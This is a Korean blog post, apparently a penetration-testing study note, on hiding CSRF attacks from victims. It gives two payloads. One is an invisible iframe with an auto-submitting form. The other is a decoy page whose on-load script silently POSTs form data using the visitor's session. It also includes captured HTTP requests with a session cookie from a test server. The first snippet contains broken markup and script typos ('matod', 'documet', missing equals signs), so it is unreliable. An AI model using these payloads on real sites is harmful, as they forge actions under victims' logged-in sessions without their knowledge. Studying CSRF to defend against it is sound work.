일반적으로 요청을 보내게 되면 요청을 전달하는 곳으로 페이지가 이동이 된다.
CSRF공격시에 피해자의 세션을 이용하여 요청을 전달하게 되는데 이때 페이지가 원치 않는곳으로 이동하게 되면 피해자가 눈치 챌 가능성이 있다.
이를 막기 위한 방법으로 iframe태그를 이용하여 새로운 창을 삽입하고 그 창을 보이지 않게 한 다음 그 창을 통해서 요청을 보내게 된다. 예시 코드는 아래와 같다.
<iframe width="0" hight="0" border"0" name"hiddenwindow" id="hiddenwindow" style="display:none;">
</iframe>
//보이지 않는 iframe창을 띄움
<form matod="POST" action="URL" target="hiddenwindow">
//iframe(hiddenwindow)으로 요청을 전송하도록 함.
<input type="hidden" name="email" value="변경하고싶은것" >
</form>
<script>
documet.form[0].submit();
</script>
//전송이 바로 이루어짐
하지만 이 방법을 보다보니 이벤트 핸들러를 통해 버튼을 누르고 JS코드를 통해서 전송만 할 수 있도록 하고 페이지 이동을 막는법을 생각해보았다.
생각해낸 방법은 form의 데이터를 가져와 요청을 바로 보내는 것이다.
<!DOCTYPE html>
<html>
<head>
</head>
<body>
여긴 아무것도 없습니다. 전혀 수상하지 않아요.
<form id="myForm" method="POST" action="/nk/index.php">
<input type="hidden" value="request">
</form>
<script>
window.onload = function() {
var form = document.getElementById('myForm');
var formData = new FormData(form);
fetch("/nk/index.php", {
method: "POST",
body: formData
});
};
</script>
</body>
</html>
이 페이지에 들어가게 되면 페이지가 로드되고 이때 이벤트가 발생하여 form안의 내용을 가져와 /nk/index.php로 전송이 되게 된다.
이방법의 문제점이 몇가지 있다. 첫번째로 전송시에 폼 요소의 name속성 기반 데이터 구성이 아니기 떄문에 요청으로 인한 응답값이 기대와 다를 수 있다.
각 요청을 비교해보면 다음과 같다.
//fetch를 통한 전송
POST /nk/index.php HTTP/1.1
Host: 110.9.135.112
Content-Length: 146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHlOy5ftAKWnDBoBP
Accept: */*
Origin: http://110.9.135.112
Referer: http://110.9.135.112/nk/test.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=41cej84j92iq75q607mubm6aja
Connection: close
------WebKitFormBoundaryHlOy5ftAKWnDBoBP
Content-Disposition: form-data; name="haaha"
aaaaaaaaaa
------WebKitFormBoundaryHlOy5ftAKWnDBoBP--
//submit을 통한 전송
POST /nk/index.php HTTP/1.1
Host: 110.9.135.112
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://110.9.135.112
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://110.9.135.112/nk/test.php
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=41cej84j92iq75q607mubm6aja
Connection: close
haaha=aaaaaaaaaa
'모의해킹 및 보안' 카테고리의 다른 글
CSRF_1 (0) | 2023.05.22 |
---|---|
XSS정리 (0) | 2023.05.22 |
Keylogger_JS (0) | 2023.05.17 |
XSS 보안대책 (0) | 2023.05.11 |
XSS_공격코드 예시 (0) | 2023.05.09 |